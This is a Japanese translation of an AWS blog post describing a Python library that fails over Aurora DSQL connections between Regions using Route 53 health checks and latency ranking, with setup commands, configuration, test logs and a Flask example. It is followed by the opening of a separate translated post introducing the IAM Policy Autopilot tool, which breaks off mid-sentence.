本記事は 2026 年 1 月 6 日 に公開された「 Implement multi-Region endpoint routing for Amazon Aurora DSQL 」を翻訳したものです。 Amazon Aurora DSQL は、事実上無制限のスケール、最高レベルの可用性、ゼロインフラストラクチャ管理を実現する、サーバーレスの分散 PostgreSQL 互換データベースです。Aurora DSQL は、データベースシャーディングやインスタンスのアップグレードの必要性を軽減し、シングルリージョンとマルチリージョンの両方のデプロイメントをサポートします。Aurora DSQL は、マルチリージョンクラスターの各リージョンに専用のリージョナルエンドポイントを提供し、アプリケーションが最適なリージョンに直接接続して可能な限り低いレイテンシーを実現できるようにします。そのアーキテクチャは、アクティブ-アクティブ分散設計により、読み取りと書き込みに対して強力なデータ整合性を提供し、シングルリージョンデプロイメントでは 99.99% の可用性、マルチリージョンデプロイメントでは 99.999% の可用性を実現します。 Aurora DSQL マルチリージョンクラスターを使用するアプリケーションは、DNS ベースのルーティングソリューション ( Amazon Route 53 など) を実装して、AWS リージョン間でトラフィックを自動的にリダイレクトする必要があります。これにより、Aurora DSQL クラスターまたは AWS リージョン全体が到達不能になった場合でも、運用の継続性が確保されます。 ベストプラクティスでは、リージョナルフェイルオーバーを包括的に管理するために、アプリケーションレベルのルーティングロジックを実装することを推奨しています。ただし、アプリケーションが Aurora DSQL を含む複数のデータストアに依存している場合、Aurora DSQL リージョナルエンドポイントが到達不能になる状況を処理するための特定の戦略が必要です。この記事では、手動での設定変更を必要とせずに、データベーストラフィックを代替リージョナルエンドポイントに自動的にリダイレクトするソリューションを紹介します。特に、混在データストア環境において有効です。 マルチリージョン Aurora DSQL クラスターのエンドポイント管理 Amazon Aurora DSQL を永続化層として使用する、マルチリージョンアプリケーションアーキテクチャを見てみましょう。 Aurora DSQL マルチリージョンクラスターは、同期クロスリージョンレプリケーションを使用して、リージョン間 (および図には示されていない DSQL ウィットネスリージョン間) で強力な整合性を維持します。DSQL は、どちらのリージョナルエンドポイントでも読み取りと書き込みを受け入れることができ、Aurora DSQL の強力な整合性のおかげで、リージョン A のリーダーはリージョン B でコミットされた書き込みをすぐに確認でき、その逆も可能です。DSQL のこの特性により、マルチリージョンアクティブ-アクティブアプリケーションの構築がはるかに簡単になります。 DSQL がクロスリージョンの調整やメッセージングを実⾏するため、アプリケーションは他のリージョンを考慮する必要はありません。 Aurora DSQL では、サービスがこれらの操作を自動的に処理するため、データベースのフェイルオーバーやスイッチオーバー操作を心配する必要はありません。ただし、アプリケーションが異なる API コールに対して複数のデータストアを使用する特定のシナリオや、外部データセンターからマルチリージョン DSQL クラスターに接続するアプリケーションの場合、DSQL エンドポイント間を直接切り替える方が、アプリケーションサーバーエンドポイント全体をリダイレクトするよりも効率的です。このアプローチは、完全なアプリケーションスタックを移動するのではなく、影響を受けるデータベース接続のみをターゲットにすることで、運用の複雑さを軽減し、サービス中断時に必要な労力を最小限に抑えます。DSQL リージョナルクラスターに中断を引き起こすイベントは、影響を受けるリージョンのアプリケーションの可用性にも影響を与える可能性があります。マルチリージョン DSQL クラスターセットアップでリージョナルエンドポイント障害が発生した場合に、アプリケーションを到達可能なリージョナルエンドポイントに接続する自動化されたソリューションを紹介します。 この記事で説明するソリューションは、 GitHub でサンプルコードとして入手できます。 ソリューション概要 このソリューションでは、カスタム Python クライアント側ライブラリを使用して、アプリケーションから Aurora DSQL エンドポイント間の接続の自動リダイレクトを実装する方法を示します。デプロイされると、 Amazon Route 53 API を通じて Aurora DSQL エンドポイントを監視します。ライブラリは、まずこれらのヘルスチェックを通じて正常なエンドポイントを識別し、次にクライアントと各正常なエンドポイント間のレイテンシーを測定します。クライアント接続を、最も低いレイテンシーを持つ正常なエンドポイントに自動的にルーティングし、リージョナルエンドポイントが到達不能になるまれなイベントが発生した場合でも、クライアント接続が最も低いレイテンシーを持つ正常な Aurora DSQL エンドポイントにルーティングされることを保証します。そして、Aurora DSQL の強力な整合性のおかげで、クライアントは任意のエンドポイントで正常にコミットされたすべてのトランザクションの結果をすぐに確認できます。 このソリューションの主な機能を見てみましょう。 自動エンドポイント選択 – 最適な接続性を提供するために、このソリューションは利用可能なデータベースクラスターエンドポイントの動的リストを維持し、利用可能なエンドポイントに対して定期的にレイテンシーテストを実行し、応答時間に基づいてランク付けされたリストを作成します。このランキングは、設定ファイルで事前定義された優先度設定と組み合わされます。各エンドポイントへのレイテンシーに基づいて、各接続に最適なエンドポイントを選択します。 Route 53 ヘルスチェック – このソリューションは、 Route 53 ヘルスチェック と統合され、AWS グローバルインフラストラクチャを使用して包括的なヘルス監視を行います。このアプローチは、エンドポイントのヘルスを維持し、ルーティングの決定に情報を提供するための堅牢で柔軟なシステムを提供します。 自動接続フェイルオーバーサポート – 高可用性を維持し、アプリケーションのダウンタイムを最小限に抑えるために、ソリューションは各リージョナルデータベースクラスターエンドポイントのヘルスを継続的に監視します。現在のエンドポイントで問題が検出されると、クライアント接続を正常な代替エンドポイントに自動的にリダイレクトします。これにより、特定のエンドポイントが到達不能な場合でも、クライアントアプリケーションは継続的なデータベースアクセスを維持します。このソリューションは、クライアントがデータベース接続を確立するリージョンを管理します。その結果、アプリケーションが手動介入なしに利用可能なエンドポイントにスムーズに移行するため、ユーザーエクスペリエンスへの中断が最小限に抑えられます。 次の図は、ソリューションのワークフローを示しています。 ワークフローには次のステップが含まれます。 クライアント (クラスターがデプロイされているいずれかのリージョンで実行) は、 get_connection() を呼び出して接続を開始します。その後、ライブラリは利用可能な DSQL エンドポイントを評価し、ヘルスとパフォーマンスメトリクスに基づいて最適な接続を確立します。 ライブラリは、リアルタイムのエンドポイントステータスについて Route 53 ヘルスチェックを参照します。これらのヘルスチェックは 30 秒間隔で実行され、エンドポイントの可用性に関するほぼ最新の情報を提供し、劣化または障害の兆候を継続的に監視します。 ヘルスチェックデータを使用して、ライブラリは正常なエンドポイントに接続します。プライマリエンドポイントが失敗した場合、システムは自動的に正常な代替エンドポイントにリダイレクトします。 前提条件 このソリューションをデプロイするには、次の前提条件を完了する必要があります。 マルチリージョン Aurora DSQL クラスターを作成 し、両方のリージョンの cluster id と endpoint の値をキャプチャします。 Python バージョン 3.10 以上がシステムにインストールされていることを確認します。ターミナルで次のコードを実行してインストールを確認します。 python3 --version 適切な DSQL アクセス権限を持つ AWS 認証情報を取得します。 AWS コマンドラインインターフェイス (AWS CLI) または環境変数を使用してこれらの認証情報を設定します。 システムが DSQL エンドポイントへのネットワークアクセスを持っていることを確認します。これには、 Amazon Virtual Private Cloud (VPC) 設定またはセキュリティグループの設定が含まれる場合があります。 AWS 認証情報に Route 53 ヘルスチェックを作成および管理する権限があることを確認します。 Python と依存パッケージのインストール、および AWS CLI の設定 次のステップを完了します。 リポジトリをクローンします。 git clone https://github.com/aws-samples/sample-multi-region-Endpoint-Routing-for-Aurora-DSQL.git cd sample-multi-region-Endpoint-Routing-for-Aurora-DSQL Python 環境をセットアップし、 venv という名前の新しい仮想環境を作成します。 python3 -m venv venv source venv/bin/activate # Windows の場合: venv\Scripts\activate このソリューションを実行するために必要な、ファイル requirements.txt 内の必要な依存関係をインストールします。 pip install -r requirements.txt AWS CLI を設定します。これにより、認証情報をグローバルに設定する便利な方法が提供されます。 aws login ターミナルのプロンプトに従います。コマンドは自動的にデフォルトのブラウザを開き、認証プロセスをガイドします。認証が成功すると、AWS CLI セッションは最大 12 時間有効になります。 設定ファイルと Route 53 ヘルスチェックのセットアップ GitHub リポジトリには、 dsql_config_with_healthchecks.json という名前の設定ファイルが含まれています。このファイルには、次の例のような構造があります。次のフィールドを変更する必要があります。 両方のリージョンについて、前提条件で記録したクラスター ID を使用して cluster_id フィールドを更新します。 hostname フィールドを、以前にキャプチャしたリージョナル DSQL エンドポイントに置き換えます。 { "endpoints": [ { "cluster_id": "<Your-cluster-id>", "region": "<cluster-region-1>", "hostname": "<Your-Cluster-endpoint>", "port": 5432, "health_check_id": "" }, { "cluster_id": "<Your-cluster-id>", "region": "<cluster-region-2>", "hostname": "<Your-Cluster-endpoint>", "port": 5432, "health_check_id": "" } ], "connection_settings": { "connect_timeout": 5, "application_name": "dsql-hybrid-router", "keepalives": 1, "keepalives_idle": 30, "keepalives_interval": 10, "keepalives_count": 3 } } ターミナルで次のコマンドを実行して、エンドポイントの Route 53 ヘルスチェックを作成します。 python3 hybrid_failover_approach.py --setup --config dsql_config_with_healthchecks.json このスクリプトのパラメータには次のものが含まれます。 –config – このパラメータは、設定ファイルへのパスを指定します。設定ファイルは、DSQL エンドポイントと接続設定に関する情報を含む JSON ファイル dsql_config_with_healthchecks.json です。 –setup – このパラメータは、Route 53 ヘルスチェックを作成し、設定ファイル dsql_config_with_healthchecks.json 内の各エンドポイントの health_check_id を更新します。 –test – このパラメータは、接続テストを実行するためのものです。 このスクリプトは、設定ファイルを読み取り、各エンドポイントの Route 53 にヘルスチェックを作成し、新しく作成されたヘルスチェック ID で設定ファイルを更新します。 health_check_id は、各エンドポイントに関連付けられた Route 53 ヘルスチェックの一意の識別子です。 { "endpoints": [ { "cluster_id": "<your-cluster-id-1>", "region": "us-east-1", "hostname": "<your-hostname-1.dsql.us-east-1.on.aws>", "port": 5432, "health_check_id": "57a713b9-a58f-4ae5-baaa-70cf62ca78eb" }, { "cluster_id": "<your-cluster-id-2>", "region": "us-east-2", "hostname": "<your-hostname-2.dsql.us-east-1.on.aws>", "port": 5432, "health_check_id": "37d3a545-2917-4e8f-9e44-f7d5e9b966a7" } ], "connection_settings": { "connect_timeout": 5, "application_name": "dsql-hybrid-router", "keepalives": 1, "keepalives_idle": 30, "keepalives_interval": 10, "keepalives_count": 3 } } Route 53 ヘルスチェックとクライアント側レイテンシールーティングによる接続テスト DSQL エンドポイントへの基本的な接続をテストするには、次のコマンドを実行します。このスクリプトは、最適なエンドポイント選択のためのクライアント側レイテンシー測定、信頼性の高いヘルス監視のための Route 53 ヘルスチェック、および継続的なサービス可用性を提供する自動フェイルオーバー機能を組み合わせています。 python3 hybrid_failover_approach.py --test --config dsql_config_with_healthchecks.json --database postgres --user admin Route 53 ヘルスチェックによるフェイルオーバーのテスト このテストは、障害シナリオをシミュレートし、システムが適切に応答することを検証します。次のコマンドでテストスクリプトを実行します。 python3 test_route53_failover.py --config dsql_config_with_healthchecks.json --database postgres --user admin このスクリプトは、アプリケーション (またはクライアント接続) のフェイルオーバーメカニズムを検証するための一連の操作を実行します。 まず、設定の優先順位によって決定された最適な利用可能なエンドポイントへの接続を確立します。 接続後、スクリプトは意図的にこのプライマリエンドポイントに関連付けられた Route 53 ヘルスチェックを無効にし、障害をシミュレートします。 次に、スクリプトはヘルスチェックステータスが AWS ネットワークを通じて伝播するのを待ち、実際の障害状態を再現します。 その後、スクリプトは新しい接続の作成を試み、プライマリの障害シミュレーションにより、セカンダリエンドポイントにフェイルオーバーするはずです。 この期間中、システムがセカンダリエンドポイントへのフェイルオーバーに成功したことを検証し、プライマリエンドポイントのシミュレートされた障害にもかかわらず、継続的な動作を確認します。 フェイルオーバーの成功を確認した後、スクリプトはプライマリエンドポイントのヘルスチェックを再度有効にし、復元されたプライマリエンドポイントへの接続が再び確立できることを検証します。 python3 test_route53_failover.py --config dsql_config_with_healthchecks.json --database postgres --user admin; 2025-05-21 19:03:52,864 - main - INFO - === STEP 1: Testing connection under normal conditions === 2025-05-21 19:03:52,866 - dsql_hybrid_manager - INFO - Loaded configuration from dsql_config_with_healthchecks.json 2025-05-21 19:03:52,879 - botocore.credentials - INFO - Found credentials in environment variables. 2025-05-21 19:03:52,982 - dsql_hybrid_manager - INFO - Initialized DSQL Hybrid Connection Manager with 2 endpoints 2025-05-21 19:03:54,055 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: 16/16 healthy observations 2025-05-21 19:03:54,055 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: Healthy 2025-05-21 19:03:55,011 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: 16/16 healthy observations 2025-05-21 19:03:55,011 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: Healthy 2025-05-21 19:03:55,011 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - Endpoint latency comparison: 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - 1. xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws - Latency: 0.002422s, Priority: 1, Region: us-east-2 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - 2. yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws - Latency: 0.012726s, Priority: 2, Region: us-east-1 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - Selected best endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.002422s, priority: 1) 2025-05-21 19:03:55,058 - main - INFO - Best endpoint selected: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.002422s) 2025-05-21 19:03:55,058 - main - INFO - Health check ID: a4709bfe-bc41-4afc-9f55-4919ee884b7c 2025-05-21 19:03:55,058 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:03:55,100 - dsql_hybrid_manager - INFO - Generating DSQL admin auth token for xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws in us-east-2 2025-05-21 19:03:55,101 - dsql_hybrid_manager - INFO - Generated token preview: jiabuacbso...a4e75aa0f9 2025-05-21 19:03:55,101 - dsql_hybrid_manager - INFO - Connecting to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001538s, region: us-east-2, priority: 1) 2025-05-21 19:03:55,344 - dsql_hybrid_manager - INFO - Successfully connected to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:03:55,344 - main - INFO - Connected to: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:03:55,344 - main - INFO - Running query iteration 1/1 2025-05-21 19:03:55,451 - main - INFO - Result: ('PostgreSQL 16',) 2025-05-21 19:03:55,451 - main - INFO - Query execution time: 106.33ms 2025-05-21 19:03:55,451 - main - INFO - Average query execution time over 1 iterations: 106.33ms 2025-05-21 19:03:55,451 - main - INFO - Connection closed 2025-05-21 19:03:55,452 - main - INFO - === STEP 2: Simulating failure of the primary endpoint's health check: a4709bfe-bc41-4afc-9f55-4919ee884b7c === 2025-05-21 19:03:55,627 - main - INFO - Disabled health check a4709bfe-bc41-4afc-9f55-4919ee884b7c to simulate failure 2025-05-21 19:03:55,628 - main - INFO - Waiting 60 seconds for health check status to propagate... 2025-05-21 19:04:55,674 - main - INFO - === STEP 3: Testing connection with primary endpoint health check failure === 2025-05-21 19:04:55,674 - dsql_hybrid_manager - INFO - Loaded configuration from dsql_config_with_healthchecks.json 2025-05-21 19:04:55,684 - dsql_hybrid_manager - INFO - Initialized DSQL Hybrid Connection Manager with 2 endpoints 2025-05-21 19:04:55,796 - dsql_hybrid_manager - ERROR - Error checking Route 53 health status for a4709bfe-bc41-4afc-9f55-4919ee884b7c: An error occurred (InvalidInput) when calling the GetHealthCheckStatus operation: Invalid parameter : The specified health check has a special status of always healthy. GetHealthCheckStatus can't return the status of one of these special health checks. 2025-05-21 19:04:56,797 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: 16/16 healthy observations 2025-05-21 19:04:56,797 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: Healthy 2025-05-21 19:04:56,797 - dsql_hybrid_manager - INFO - Found 1 healthy endpoints out of 2 2025-05-21 19:04:56,837 - dsql_hybrid_manager - INFO - Endpoint latency comparison: 2025-05-21 19:04:56,837 - dsql_hybrid_manager - INFO - 1. yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws - Latency: 0.013187s, Priority: 2, Region: us-east-1 2025-05-21 19:04:56,837 - dsql_hybrid_manager - INFO - Selected best endpoint: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws (latency: 0.013187s, priority: 2) 2025-05-21 19:04:56,837 - main - INFO - Best endpoint selected: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws (latency: 0.013187s) 2025-05-21 19:04:56,837 - main - INFO - Health check ID: 46eca8a2-6a07-43e6-94fb-21f95fb11d5a 2025-05-21 19:04:56,878 - dsql_hybrid_manager - ERROR - Error checking Route 53 health status for a4709bfe-bc41-4afc-9f55-4919ee884b7c: An error occurred (InvalidInput) when calling the GetHealthCheckStatus operation: Invalid parameter : The specified health check has a special status of always healthy. GetHealthCheckStatus can't return the status of one of these special health checks. 2025-05-21 19:04:56,879 - dsql_hybrid_manager - INFO - Found 1 healthy endpoints out of 2 2025-05-21 19:04:56,918 - dsql_hybrid_manager - INFO - Generating DSQL admin auth token for yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws in us-east-1 2025-05-21 19:04:56,919 - dsql_hybrid_manager - INFO - Generated token preview: e4abuacbso...238cb4c5fe 2025-05-21 19:04:56,919 - dsql_hybrid_manager - INFO - Connecting to yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws (latency: 0.011756s, region: us-east-1, priority: 2) 2025-05-21 19:04:57,234 - dsql_hybrid_manager - INFO - Successfully connected to yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:04:57,234 - main - INFO - Connected to: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:04:57,234 - main - INFO - Running query iteration 1/1 2025-05-21 19:04:57,368 - main - INFO - Result: ('PostgreSQL 16',) 2025-05-21 19:04:57,368 - main - INFO - Query execution time: 133.73ms 2025-05-21 19:04:57,368 - main - INFO - Average query execution time over 1 iterations: 133.73ms 2025-05-21 19:04:57,368 - main - INFO - Connection closed 2025-05-21 19:04:57,369 - main - INFO - Failover successful! Switched from xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws to yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:04:57,369 - main - INFO - === STEP 4: Restoring original health check configuration === 2025-05-21 19:04:57,500 - main - INFO - Re-enabled health check a4709bfe-bc41-4afc-9f55-4919ee884b7c 2025-05-21 19:04:57,502 - main - INFO - Waiting 60 seconds for health check status to propagate... 2025-05-21 19:05:57,553 - main - INFO - === STEP 5: Testing connection after restoring health check === 2025-05-21 19:05:57,554 - dsql_hybrid_manager - INFO - Loaded configuration from dsql_config_with_healthchecks.json 2025-05-21 19:05:57,561 - dsql_hybrid_manager - INFO - Initialized DSQL Hybrid Connection Manager with 2 endpoints 2025-05-21 19:05:58,571 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: 16/16 healthy observations 2025-05-21 19:05:58,571 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: Healthy 2025-05-21 19:05:59,775 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: 16/16 healthy observations 2025-05-21 19:05:59,775 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: Healthy 2025-05-21 19:05:59,775 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - Endpoint latency comparison: 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - 1. xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws - Latency: 0.001920s, Priority: 1, Region: us-east-2 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - 2. yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws - Latency: 0.011219s, Priority: 2, Region: us-east-1 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - Selected best endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001920s, priority: 1) 2025-05-21 19:05:59,815 - main - INFO - Best endpoint selected: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001920s) 2025-05-21 19:05:59,815 - main - INFO - Health check ID: a4709bfe-bc41-4afc-9f55-4919ee884b7c 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:05:59,862 - dsql_hybrid_manager - INFO - Generating DSQL admin auth token for.dsql.us-east-2.on.aws in us-east-2 2025-05-21 19:05:59,864 - dsql_hybrid_manager - INFO - Generated token preview: jiabuacbso...f42f2e31ea 2025-05-21 19:05:59,865 - dsql_hybrid_manager - INFO - Connecting to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001445s, region: us-east-2, priority: 1) 2025-05-21 19:06:00,099 - dsql_hybrid_manager - INFO - Successfully connected to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,099 - main - INFO - Connected to: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,099 - main - INFO - Running query iteration 1/1 2025-05-21 19:06:00,210 - main - INFO - Result: ('PostgreSQL 16',) 2025-05-21 19:06:00,210 - main - INFO - Query execution time: 110.73ms 2025-05-21 19:06:00,210 - main - INFO - Average query execution time over 1 iterations: 110.73ms 2025-05-21 19:06:00,211 - main - INFO - Connection closed 2025-05-21 19:06:00,211 - main - INFO - === ROUTE 53 FAILOVER TEST SUMMARY === 2025-05-21 19:06:00,211 - main - INFO - Primary endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,212 - main - INFO - Failover endpoint: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:06:00,212 - main - INFO - Restored endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,212 - main - INFO - RESULT: Route 53 failover test SUCCESSFUL! アプリケーションでの DSQL 接続マネージャーの使用 hybrid_failover_approach.py ファイルを入手したら、アプリケーションへの統合は簡単です。接続マネージャーは、データベース接続のドロップイン置換として設計されており、バックグラウンドプロセスや複雑なセットアップは必要ありません。 次のコードは、アプリケーションで接続マネージャーを使用する方法の一般的な例です。 from hybrid_failover_approach import DSQLHybridConnectionManager # アプリケーション起動時に一度初期化 db_manager = DSQLHybridConnectionManager(config_file="dsql_config_with_healthchecks.json") # 接続が必要な場所で使用 conn = db_manager.get_connection("postgres", "admin") まず、 dsql_config_with_healthchecks.json ファイルを変更して DSQL エンドポイントを設定します。 次のコードは、Flask アプリケーションでの実際の例を示しています。 from flask import Flask, jsonify from hybrid_failover_approach import DSQLHybridConnectionManager app = Flask(__name__) db_manager = DSQLHybridConnectionManager(config_file="dsql_config_with_healthchecks.json") @app.route('/users') def get_users(): # 最速で最も正常なエンドポイントに自動的に接続 conn = db_manager.get_connection("postgres", "admin") try: with conn.cursor() as cursor: cursor.execute("SELECT id, name, email FROM users") return jsonify(cursor.fetchall()) finally: conn.close() このアプローチの美しさはそのシンプルさにあります。バックグラウンドプロセスや複雑なインフラストラクチャを管理することなく、インテリジェントなルーティング、自動フェイルオーバー、ヘルス監視を実現できます。これは、DSQL クラスターに接続するためのよりスマートな方法です。 クリーンアップ ヘルスチェックを削除するには、セットアップ中に設定ファイルに追加されたヘルスチェック ID を使用して AWS CLI を使用します。 aws route53 delete-health-check --health-check-id <health-check-id> ヘルスチェック ID は、 dsql_config_with_healthchecks.json ファイルの各エンドポイントの health_check_id フィールドで確認できます。設定内の各ヘルスチェック ID に対して削除コマンドを実行します。 ヘルスチェック設定 DSQL 接続マネージャーでヘルスチェックの頻度をカスタマイズできます。 health_check_ttl=60, # ヘルスチェック結果を 60 秒間キャッシュ health_check_ttl パラメータは、指定された期間ヘルスチェック結果をキャッシュします。低い値 (< 60 秒) はより高速なフェイルオーバーを可能にしますが、Route 53 への API コールが増加します。一方、高い値は API 負荷を軽減しますが、問題の検出が遅れる可能性があります。60 秒から始めて、必要に応じて調整してください。 まとめ この記事では、自動クロスリージョン接続フェイルオーバーサポートを備えた Aurora DSQL 接続を管理する効果的な方法を提供するカスタムソリューションについて説明しました。このソリューションをデプロイすることで、最適なパフォーマンスと可用性を維持しながら、アプリケーションに信頼性の高いデータベース接続を提供できます。 ご自身のユースケースで このソリューション を試して、コメントでフィードバックを共有してください。 著者について Rajesh Kantamani Rajesh は、シニアデータベーススペシャリストソリューションアーキテクトです。お客様と協力して、Amazon Web Services 上でデータベースソリューションの設計、移行、最適化を行い、スケーラビリティ、セキュリティ、パフォーマンスに焦点を当てています。分散データベースへの情熱を持ち、組織がデータインフラストラクチャを変革するのを支援しています。 Sukhpreet Kaur Bedi Sukhpreet は、Amazon RDS/Aurora PostgreSQL エンジンに焦点を当てた AWS のシニアデータベーススペシャリストソリューションアーキテクトです。お客様が高可用性でスケーラブル、かつ安全なデータベースアーキテクチャを構築することで、AWS プラットフォーム上でイノベーションを起こすのを支援しています。 Raluca Constantin Raluca は、Amazon Aurora DSQL を専門とする AWS のシニアデータベースエンジニアです。18 年間のデータベース専門知識は、Oracle、MySQL、PostgreSQL、クラウドネイティブソリューションにわたり、データベースのスケーラビリティ、パフォーマンス、リアルタイムデータ処理に焦点を当てています。

本ブログは 2025 年 12 月 8 日に公開された AWS Blog “ IAM Policy Autopilot: An open-source tool that brings IAM policy expertise to builders and AI coding assistants ” を翻訳したものです。 本日 (2025 年 12 月 8 日)、AWS は IAM Policy Autopilot を発表しました。これは、AI コーディングアシスタントがベースラインとなる AWS Identity and Access Management (IAM) の IAM ポリシーを迅速に作成できるよう支援するオープンソースの静的解析ツールです。作成されたポリシーは、アプリケーションの成長に合わせて継続的にレビュー・改善できます。IAM Policy Autopilot はコマンドラインツールおよび Model Context Protocol (MCP) サーバーとして利用可能です。アプリケーションコードをローカルで解析し、アプリケーションにアタッチする IAM ロールのアクセスを制御するアイデンティティベースのポリシーを作成します。IAM Policy Autopilot を導入することで、ビルダーはアプリケーションコードの作成に集中でき、 Amazon Web Services (AWS) での開発を加速し、IAM ポリシーの作成やアクセス問題のトラブルシューティングにかかる時間を節約できます。 AWS で開発するビルダーは、開発を加速してビジネスにより早く価値を届けたいと考えており、そのために Kiro、Claude Code、Cursor、Cline などの AI コーディングアシスタントをますます活用しています。IAM 権限に関して、ビルダーには 3 つの課題があります。1 つ目は、ビルダーは権限の理解、IAM ポリシーの作成、権限関連のエラーのトラブルシューティングに時間を取られ、アプリケーション開発に集中しづらいことです。2 つ目は、AI コーディングアシスタントはアプリケーションコードの生成には優れていますが、IAM の細かなニュアンスには苦労しており、複雑なクロスサービス依存関係の権限要件を捉えた信頼性の高いポリシーを生成するためのツールを必要としていることです。3 つ目は、ビルダーと AI アシスタントの両方が、AWS ドキュメントを手動で確認することなく、最新の IAM 要件と統合アプローチを把握し続ける必要があることです。理想的には、IAM の専門知識を常に最新に保つ単一のツールを通じて実現できることが望ましいです。 IAM Policy Autopilot は、これらの課題に 3 つの方法で対処します。まず、アプリケーションの決定論的コード解析を実行し、コードベース内の実際の AWS SDK 呼び出しに基づいて必要なアイデンティティベース の IAM ポリシーを生成します。これにより、初期のポリシー作成プロセスが高速化され、トラブルシューティング時間が短縮されます。次に、IAM Policy Autopilot は MCP を通じて AI コーディングアシスタントに正確で信頼性の高い IAM ポリシーを提供し、ポリシーエラーにつながることが多い AI のハルシネーションを防ぎ、生成されたポリシーが構文的に正しく有効であることを検証します。3 つ目に、IAM Policy Autopilot は定期的に更新され、新しい AWS サービス、権限、サービス間連携のパターンに対応します。そのため、ビルダーも AI アシスタントも、ドキュメントを手動で調べることなく最新の IAM 要件にアクセスできます。 本ブログでは IAM Policy Autopilot を使って開発中にコードを解析し、アイデンティティベースの IAM ポリシーを生成する流れを紹介します。IAM Policy Autopilot が AI コーディングアシスタントとシームレスに統合してデプロイ時に必要なベースラインポリシーを作成する方法と、ビルダーがコマンドラインインターフェイス (CLI) ツールを通じて IAM Policy Autopilot を直接使用する方法も説明します。また、IAM Policy Autopilot を開発ワークフローに組み込むためのベストプラクティスと考慮事項についてもガイダンスを提供します。IAM Policy Autopilot のセットアップは、GitHub リポジトリにアクセスして行えます。 IAM Policy Autopilot の仕組み IAM Policy Autopilot は、アプリケーションコードを解析し、アプリケーション内の AWS SDK 呼び出しに基づいてアイデンティティベースの IAM ポリシーを生成します。テスト中に権限がまだ不足している場合、IAM Policy Autopilot はこれらのエラーを検出し、解消するために必要なポリシーを追加します。IAM Policy Autopilot は、Python、Go、TypeScript の 3 つの言語で記述されたアプリケーションをサポートしています。 ポリシーの作成 IAM Policy Autopilot のコア機能は、一貫性のある信頼性の高い結果でアイデンティティベースの IAM ポリシーを生成する決定論的コード解析です。SDK から IAM へのマッピングに加えて、IAM Policy Autopilot は AWS サービス間の複雑な依存関係を理解します。 s3.putObject() を呼び出す場合、IAM Policy Autopilot は Amazon Simple Storage Service (Amazon S3) の権限 ( s3:PutObject ) だけでなく、暗号化シナリオで必要になる可能性のある AWS Key Management Service (AWS KMS) の権限 ( kms:GenerateDataKey ) も含めます。IAM Policy Autopilot はクロスサービス依存関係と一般的な使用パターンを理解し、この初期パスで PutObject API に関連するこれらの権限を意図的に追加するため、暗号化設定に関係なく、最初のデプロイからアプリケーションが正しく機能します。 Access Denied のトラブルシューティング 権限が作成された後、テスト中に Access Denied エラーが発生した場合、IAM Policy Autopilot はこれらのエラーを検出し、即座にトラブルシューティングを提供します。有効にすると、AI コーディングアシスタントは IAM Policy Autopilot を呼び出して拒否を分析し、対象を絞った IAM ポリシーの修正を提案します。分析と提案された変更をレビューして承認すると、IAM Policy Autopilot が権限を更新します。 MCP と CLI のサポート IAM Policy Autopilot は、さまざまな開発ワークフローに適合するように 2 つのモードで動作します。MCP サーバーとして、 